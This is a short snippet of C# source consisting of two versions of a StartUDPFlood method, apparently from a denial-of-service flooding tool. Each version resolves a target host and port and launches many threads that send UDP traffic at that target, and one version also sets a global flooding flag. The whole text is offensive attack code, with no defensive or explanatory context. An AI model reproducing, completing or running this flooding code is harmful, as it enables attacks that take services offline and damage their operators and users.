public void StartUDPFlood() { killThread = false; try { IPEo = Dns.GetHostEntry(new Uri(sFHost).Host).AddressList[0]; } catch { IPEo = IPAddress.Parse(sFHost); } tFloodingThread = new Thread[iThreads]; tFloodingJob = new ThreadStart[iThreads]; UDPClass = new UDPRequest[iThreads]; for (int i = 0; i < iThreads; i++) { UDPClass[i] = new UDPRequest(IPEo, uPort); tFloodingJob[i] = new ThreadStart(UDPClass[i].Send); tFloodingThread[i] = new Thread(tFloodingJob[i]); tFloodingThread[i].Start(); } Config.Flooding = true; }
public static void StartUDPFlood() { try { IPEo = new IPEndPoint(Dns.GetHostEntry(sFHost).AddressList[0], uPort); } catch { IPEo = new IPEndPoint(IPAddress.Parse(sFHost), uPort); } tFloodingThread = new Thread[iThreads]; tFloodingJob = new ThreadStart[iThreads]; UDPClass = new UDPRequest[iThreads]; for (int i = 0; i < iThreads; i++) { UDPClass[i] = new UDPRequest(IPEo, iUDPSockets, iPSize); tFloodingJob[i] = new ThreadStart(UDPClass[i].Send); tFloodingThread[i] = new Thread(tFloodingJob[i]); tFloodingThread[i].Start(); } }